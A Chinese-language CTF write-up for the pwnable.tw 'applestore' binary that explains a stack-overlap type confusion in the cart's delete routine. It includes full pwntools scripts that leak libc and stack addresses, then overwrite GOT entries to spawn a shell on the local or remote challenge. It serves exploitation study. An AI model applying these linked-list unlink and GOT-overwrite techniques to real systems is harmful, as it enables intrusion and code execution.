I is so vegetable:(,我tcl又由于忙于毕设和各种比赛(划水)各种耽误,到今天才真正把这题搞出来
存储结构
0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycart_binlist *next; //ebp-0x18 struct _mycart_binlist *pre; //ebp-0x14 }
insert
int __cdecl insert(int a1) { int result; // eax _DWORD *i; // [esp+Ch] [ebp-4h] for ( i = &myCart; i[2]; i = (_DWORD *)i[2] ) ; i[2] = a1; // the_last_mycart->next=inserted result = a1; *(_DWORD *)(a1 + 12) = i; // inserted->pre=the_last_mycart return result; }
checkout
unsigned int checkout() { int v1; // [esp+10h] [ebp-28h] char *v2; // [esp+18h] [ebp-20h] int v3; // [esp+1Ch] [ebp-1Ch] unsigned int v4; // [esp+2Ch] [ebp-Ch] v4 = __readgsdword(0x14u); v1 = cart(); if ( v1 == 7174 ) { puts("*: iPhone 8 - $1"); asprintf(&v2, "%s", "iPhone 8"); v3 = 1; // price=1 insert((int)&v2); v1 = 7175; } printf("Total: $%d\n", v1); puts("Want to checkout? Maybe next time!"); return __readgsdword(0x14u) ^ v4; }
这里存在问题的应该是checkout的insert,用贪心的思想求解下v1=7174各个商品的数量
7174 14*499=6986 13*499=6487 12*499=5988 1186 11*499=5489 1685 10*499=4990 2184 9*499=4491 2683 8*499=3992 3182 7*499=3493 3681 6*499=2994 4180 5*499=2495 4679-99*21=2600 100x+200y+300z=2600 =>x+2y+3z=26 x+y+z=21 =>y+2z=5 y=1 z=2 x=18 c=5 199x 299y 399z 499c
写个脚本验证下
from pwn import *
context.log_level=‘DEBUG‘
p=process(‘./applestore‘)
def add(idx):
p.sendlineafter(‘>‘,‘2‘)
p.sendlineafter(‘Device Number> ‘,str(idx))
for i in range(0,18):
add(1)
add(2)
for i in range(0,2):
add(4)
for i in range(0,5):
add(3)
gdb.attach(p,gdbscript=‘b *0x08048B98\n‘)
p.interactive()
这里存在的问题是delete时执行my_read直接在栈中保存输入的字符串引起一个类型混淆,利用delete双向链表的断链操作DWORD_SHOOT得到一个任意地址写的机会,修改GOT即可导致任意代码执行。
unsigned int delete() { signed int idx; // [esp+10h] [ebp-38h] _DWORD *v2; // [esp+14h] [ebp-34h] int delete_obj; // [esp+18h] [ebp-30h] int next; // [esp+1Ch] [ebp-2Ch] int pre; // [esp+20h] [ebp-28h] char nptr; // [esp+26h] [ebp-22h] unsigned int v7; // [esp+3Ch] [ebp-Ch] v7 = __readgsdword(0x14u); idx = 1; v2 = (_DWORD *)dword_804B070; printf("Item Number> "); fflush(stdout); my_read(&nptr, 0x15u); // 栈里边直接保存输入的字符串,虽然不会溢出,但这里会造成类型混淆 delete_obj = atoi(&nptr); while ( v2 ) { if ( idx == delete_obj ) { next = v2[2]; // next pre = v2[3]; // pre if ( pre ) *(_DWORD *)(pre + 8) = next; // victim->pre->next=victim->next if ( next ) *(_DWORD *)(next + 12) = pre; // victim->next->pre=victim->pre printf("Remove %d:%s from your shopping cart.\n", idx, *v2); return __readgsdword(0x14u) ^ v7; } ++idx; v2 = (_DWORD *)v2[2]; } return __readgsdword(0x14u) ^ v7; }
这里引起类型混淆的本质原因是我们执行checkout插入的V2距离ebp为EBP-20H,执行完checkout只是抬高栈帧,并不会销毁函数栈;而此时我们调用delete,会在调用checkout结束的位置开辟栈帧,这样得到的函数栈就和checkout的函数栈重叠,而delete会在栈中直接保存输入的字符串(EBP-22H的位置),就会引起一次类型混淆
handler ebp___ 38h esp__ checkout ebp__ delete ebp__ 38h 48h V2=ebp-20h nptr=ebp-22h esp__ esp__
DWORD_SHOT并不可行,如果我们如下构造struct执行DWORD_SHOT的话,虽然GOT表可写,但是由于双向链表断链过程会执行victim->pre=victim->next,即read@got会写入*system@got+12的位置,而*system@got+12位于libc text段,肯定不可写,这里会崩溃。
struct { *name => padding price => padding *nexe => read@got *pre => system@got }
以下脚本可以验证DWORD_SHOT不可行。so,how to get it pwned?
from pwn import * context.log_level=‘DEBUG‘ p=process(‘./applestore‘) elf=ELF(‘./applestore‘) libc=ELF(‘/lib/i386-linux-gnu/libc-2.28.so‘) def add(idx): p.sendlineafter(‘>‘,‘2‘) p.sendlineafter(‘Device Number> ‘,str(idx)) def delete(idx): p.sendlineafter(‘>‘,‘3‘) p.sendlineafter(‘Item Number>‘,str(idx)) def checkout(): p.sendlineafter(‘>‘,‘5‘) p.sendlineafter(‘>‘,‘y‘) def cart(payload): p.sendlineafter(‘>‘,‘4‘) p.sendlineafter(‘>‘,str(payload)) for i in range(0,18): add(1) add(2) for i in range(0,2): add(4) for i in range(0,5): add(3) checkout() payload=‘y\x0a‘+p32(elf.got[‘read‘])+p32(1)+p32(0)+p32(0) cart(payload) p.recvuntil(‘27: ‘) read_got=u32(p.recv(4)) libc_base=read_got-libc.sym[‘read‘] success(‘libc_base:‘+hex(libc_base)) success(‘read_got:‘+hex(read_got)) #gdb.attach(p,gdbscript=‘b *0x08048B98\n‘) #b insert() gdb.attach(p,gdbscript=‘‘‘ b *0x080489F0 break *0x080489FB if $[$ebp-0x38]==27 ‘‘‘) #b delete_obj sys_got=libc_base+libc.sym[‘system‘] success(‘system:‘+hex(sys_got)) payload=‘\x32\x37\x00\x20‘+‘b‘*6+p32(read_got-8)+p32(sys_got) delete(payload) #gdb.attach(p,gdbscript=‘b *0x080489FB\n‘) p.interactive()
由于delete中我们有一次任意地址写的机会,而在执行完delete返回到handler时会再次引用栈内存ebp-0x22(在这个位置读入),所以我们考虑修改ebp的值,进而覆盖asprintf@got和atoi@got(这两个got的地址是相邻的),asprintf@got覆盖成‘$0\x00\x00‘(4字节),atoi@got覆盖成sys_addr即可。这样在0x8048c16执行atoi时即执行system(‘$0‘)即可getshell
from pwn import * context.log_level=‘DEBUG‘ elf=ELF(‘./applestore‘) local=1 if local: p=process(‘./applestore‘) libc=ELF(‘/lib/i386-linux-gnu/libc-2.28.so‘) else: p=remote(‘chall.pwnable.tw‘,10104) libc=ELF(‘./libc_32.so.6‘) def add(idx): p.sendlineafter(‘>‘,‘2‘) p.sendlineafter(‘Device Number> ‘,str(idx)) def delete(idx): p.sendlineafter(‘>‘,‘3‘) p.sendlineafter(‘Item Number>‘,str(idx)) def checkout(): p.sendlineafter(‘>‘,‘5‘) p.sendlineafter(‘>‘,‘y‘) def cart(payload): p.sendlineafter(‘>‘,‘4‘) p.sendlineafter(‘>‘,str(payload)) for i in range(0,18): add(1) add(2) for i in range(0,2): add(4) for i in range(0,5): add(3) checkout() payload=‘y\x0a‘+p32(elf.got[‘read‘])+p32(1)+p32(0)+p32(0) cart(payload) p.recvuntil(‘27: ‘) read_got=u32(p.recv(4)) libc.address=read_got-libc.sym[‘read‘] env=libc.sym[‘environ‘] success(‘libc_base:‘+hex(libc.address)) success(‘read_got:‘+hex(read_got)) payload=‘y\x0a‘+p32(env)+p32(1)+p32(0)+p32(0) cart(payload) p.recvuntil(‘27: ‘) stack_env=u32(p.recv(4)) success(‘stack_env:‘+hex(stack_env)) ebp=stack_env-0x104 success(‘stack_ebp:‘+hex(ebp)) asprintf_got=elf.got[‘asprintf‘] atoi_got=elf.got[‘atoi‘] sys=libc.sym[‘system‘] payload=‘27‘+p32(sys)+p32(1)+p32(ebp-12)+p32(asprintf_got+0x22) if local: gdb.attach(p,gdbscript=‘‘‘ b *0x080489F0\n b *0x08048A6F\n b *0x8048c0b\n ‘‘‘) pause() delete(payload) p.recvuntil(‘from your shopping cart.‘) payload=‘$0\x00\x00‘+p32(sys) p.sendline(payload) p.interactive()